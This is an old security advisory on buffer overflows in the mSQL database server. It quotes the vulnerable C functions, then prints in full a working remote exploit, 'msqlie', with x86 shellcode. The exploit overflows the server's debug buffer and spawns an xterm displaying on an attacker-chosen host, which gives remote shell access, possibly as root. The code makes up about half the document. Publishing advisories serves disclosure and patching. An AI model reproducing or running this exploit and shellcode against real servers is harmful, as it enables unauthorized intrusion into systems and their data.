COMMAND
mSQL
SYSTEMS AFFECTED
Win NT and unices with mSQL 1.0.xx and 2.0.2 and prior, 2.0.3
PROBLEM
Following is based on SDI Advisory. mSQL is a SQL server for
Unix and Windows systems. It's a complete server to manage
database (create, drop, insert tables, query, etc). It's most
used in web servers dealing with e-commerce and web servers which
deals with database (such as search engines). In the mSQL v1.0.xx,
SDI have found a lot of buffers without any bounds check. But,
what took them a special attention was the follow lines:
--- common/debug.c ---
void _msqlDebug(va_alist)
va_dcl
{
va_list args;
char msg[10240],
(...)
(void)vsprintf(msg,fmt,args);
(...)
As we can see by looking in these lines above, we've a function
which will merrily pass a long string (over 10240 bytes) in the
stack without any check. But, we're still needing a call to
msqlDebug to create security thread:
----- msql/msqld.c -----
FD_SET(newSock,&clientFDs);
uname = (char *)strtok(packet,"\n");
msqlDebug(MOD_GENERAL,"User = %s\n",uname);
safeFree(conArray[newSock].user);
conArray[newSock].user = (char *)
strdup(uname);
sprintf(packet,"-100:\n");
writePkt(newSock);
That's it. If the mSQL is in Debug mode, a long username (over
10240) will crash the machine (and possible execute arbitrary
codes in the stack). You might be thinking it's over. Ok, SDI
have found another security problem which can lead to denial of
service or arbitrary commands to be executed in the stack. Have a
good look at these lines:
----- msql/msqld.c -------
switch(command)
{
case INIT_DB:
cp=(char *)strtok(packet+2,"\n\r");
if (!cp)
{
sendError(comSock,NO_DB_ERROR);
break;
}
strcpy(dbname,cp);
msqlDebug(MOD_GENERAL,"DBName = %s\n", dbname);
conArray[comSock].access = msqlCheckAccess(
dbname, conArray + comSock);
(...)
if (msqlInit(dbname) < 0)
(...)
As you can see here, we have three possible threads:
1) strcpy (dbname, cp);
The variable dbname has 32 bytes long and the strcpy will
happily pass the database name string (which can be over 12000
bytes long) in the stack. What took our attention was the
behavior of this special buffer. We can't reach the return
address but we can mess with the socket descriptor, causing the
select function to crash, thus creating a denial of service
thread (the server was unreachable).
2) msqlDebug(MOD_GENERAL, "DBname = %s\n", dbname);
As explained above, the msqlDebug has a vulnerable buffer, thus
passing a long database name to the server, if it's in Debug
mode, we can reach the return address in the stack, causing a
denial of service or an arbitrary commands to be executed.
3) msqlInit(dbname)
Take a look at these lines:
---- msql/msqldb.c -----
int msqlInit(DB)
char *DB;
{
char path[255];
(...)
(void)sprintf(path,"%s/msqldb/%s",msqlHomeDir,DB);
(...)
The function msqlInit will merrily pass the database name (given
by the client) to a 255 bytes long buffer. It'll cause a buffer
overflow, which can lead to arbitrary commands to be executed in
the stack or a denial of service. Vulnerable are found mSQL
v1.0.xx (vulnerable to the whole possibilities of exploiting
(arbitrary commands) and denial of service (debug and dbname)) and
mSQL v2.0.2 and prior (vulnerable to the possibility of exploiting
(arbitrary commands) and denial of service (debug and dbname).)
while mSQL v2.0.3 and above are not vulnerable to the exploiting
vulnerability (arbitrary commands), but are it's still vulnerable
to Denial of Service (debug and dbname). This is because Hughes
has patched the 2.0.3 version from the msqlInit() attack and the
msqlDebug attack. Though, we can still cause a denial of service
in the mSQL server:
----- common/debug.c -----
(...)
static char msgBuf[10 * 1024];
(...)
void _msqlDebug(va_alist)
va_dcl
{
(...)
(void)vsprintf(msgBuf,fmt,args);
(...)
If we pass a long string (over 10240 bytes) to the static buffer,
we can happily crash the server, causing a segmentation fault.
The dbname thread was not completly removed, the strcpy (dbname,
cp) is still there which can lead to mess the socket descriptor,
thus causing a denial of service.
So, to make a summery, all versions of mSQL are vulnerable to
Denial of Service, which can lead to crash the database server,
messing with the whole applications using the database. Versions
prior to 2.0.2 (including 2.0.2) are vulnerable to arbitrary
commands been executed in the stack, thus leading to gain access
to the remote machine running mSQL with the privilegies of the
default mSQL user:
- In 1.0.xx versions, the default user is *root*.
- In 2.0.xx versions, the default user is msql (but if the
server is called by a root user, it'll only do a
setuid(getuid(msql)), thus keeping the gid(0) privileges).
SNI developed the exploitation script to this thread which you
can find through the following web page or below:
http://ssc.sekure.org
Exploit follows:
/*
* Sekure SDI - Brazilian Information Security Team
*
* SDI-msqlie (Nov 26, 1998)
*
* mSQL 2.0 B2 exploit for linux. also works as DoS attack
* for higher versions. This bug was discovered by c0nd0r
* and resides in the mSQL log of connections.
*
* This program opens a xterm for the specified host.
*
*
* usage:
* msqlie victim.com lame.org:0 [offset]
*
*
* remember, the msql MUST to be running in DEBUG mode!
*
*
* by jamez and c0nd0r from uground/sekure.
*
* thanks to bishop.
*
*
*/
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define BUFFSIZE 15000
#define PKT_LEN 11000
#define NOP 0x90
/*
int main() {
__asm__("
jmp 0x31
popl %esi
movl %esi,0x30(%esi)
leal 0x15(%esi),%ebx
movl %ebx,0x34(%esi)
leal 0x1e(%esi),%ebx
movl %ebx,0x38(%esi)
xorl %eax,%eax
movb %eax,0x14(%esi)
movb %eax,0x1d(%esi)
movb %eax,0x2f(%esi)
movl %eax,0x3c(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x30(%esi),%ecx
leal 0x3c(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x36
.string \"/usr/X11R6/bin/xterm -display xxx.xxx.xxx.xxx:0\"");
}
*/
/* base */
char shellcode[] =
"\xeb\x31\x5e\x89\x76\x30\x8d\x5e\x15\x89\x5e\x34"
"\x8d\x5e\x1e\x89\x5e\x38\x31\xc0\x88\x46\x14\x88"
"\x46\x1d\x88\x46\x2f\x89\x46\x3c\xb0\x0b\x89\xf3"
"\x8d\x4e\x30\x8d\x56\x3c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff"
"/usr/X11R6/bin/xterm -display ";
int s;
struct sockaddr_in addr;
char buff[BUFFSIZE];
unsigned long resolve(char * host)
{
long ret;
struct hostent * he;
ret = inet_addr(host);
if(ret == -1) {
if((he = gethostbyname(host)) == NULL) {
printf("unknown host %s\n", host);
exit(1);
}
else
return (*(unsigned long *)he->h_addr);
}
else
return(ret);
}
void time_out(int i)
{
alarm (0);
signal (SIGALRM, SIG_DFL);
printf ("unable to connect: connection timed out.\n");
exit (1);
}
int main(int argc, char * argv[])
{
char * host, * xterm_host;
int port = 1114, i, x, len, offset = 0;
unsigned long evil_addr;
if(argc < 3) {
printf("msqlie\n");
printf(" - usage: %s host xterm_host:0 [offset]\n", argv[0]);
exit(0);
}
else {
host = argv[1];
xterm_host = argv[2];
}
if(argc > 3) offset = atoi(argv[3]);
evil_addr = 0xbfffceaa + offset;
printf("using addres: 0x%x\n", evil_addr);
printf("let's try to get in...\n");
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = resolve(host);
if((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
printf("can't creat socket.\n");
exit(1);
}
signal (SIGALRM, time_out);
alarm(15);
if(connect(s, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
printf("connection failed!\n");
exit(1);
}
alarm(0);
i = 0;
buff[i++] = (unsigned int)(PKT_LEN & 0x000000ff);
buff[i++] = (unsigned int)(PKT_LEN & 0x0000ff00) >> 8;
buff[i++] = (unsigned int)(PKT_LEN & 0x00ff0000) >> 16;
buff[i++] = (unsigned int)(PKT_LEN & 0xff000000) >> 24;
for(; i < 8001 ; i++)
buff[i] = NOP ;
for(; i < BUFFSIZE; i += 4) {
buff[i ] = evil_addr & 0x000000ff;
buff[i+1] = (evil_addr & 0x0000ff00) >> 8;
buff[i+2] = (evil_addr & 0x00ff0000) >> 16;
buff[i+3] = (evil_addr & 0xff000000) >> 24;
}
/* fix up the execve code */
len = strlen(xterm_host);
shellcode[5 ] = 0x1f + len;
shellcode[11] = 0x23 + len;
shellcode[17] = 0x27 + len;
shellcode[28] = 0x1e + len;
shellcode[31] = 0x2b + len;
shellcode[38] = 0x1f + len;
shellcode[41] = 0x2b + len;
/* base */
for(i = 8001, x = 0; x < strlen(shellcode); x++, i++)
buff[i] = shellcode[x];
/* victim host */
for(x = 0; x < strlen(xterm_host); x++, i++)
buff[i] = xterm_host[x];
buff[PKT_LEN] = '\n';
buff[BUFFSIZE - 1] = 0;
printf("sending...\n");
write(s, buff, sizeof(buff));
sleep(10);
printf("have phun! =)\n");
}
SOLUTION
To defeat the exploitation, apply the mSQL patch "Sekure-mSQL".
Features:
- Syslog implementation.
- Minor corrections.
- Security holes corrections.
- Attack attempt log.
You may also find it at:
http://ssc.sekure.org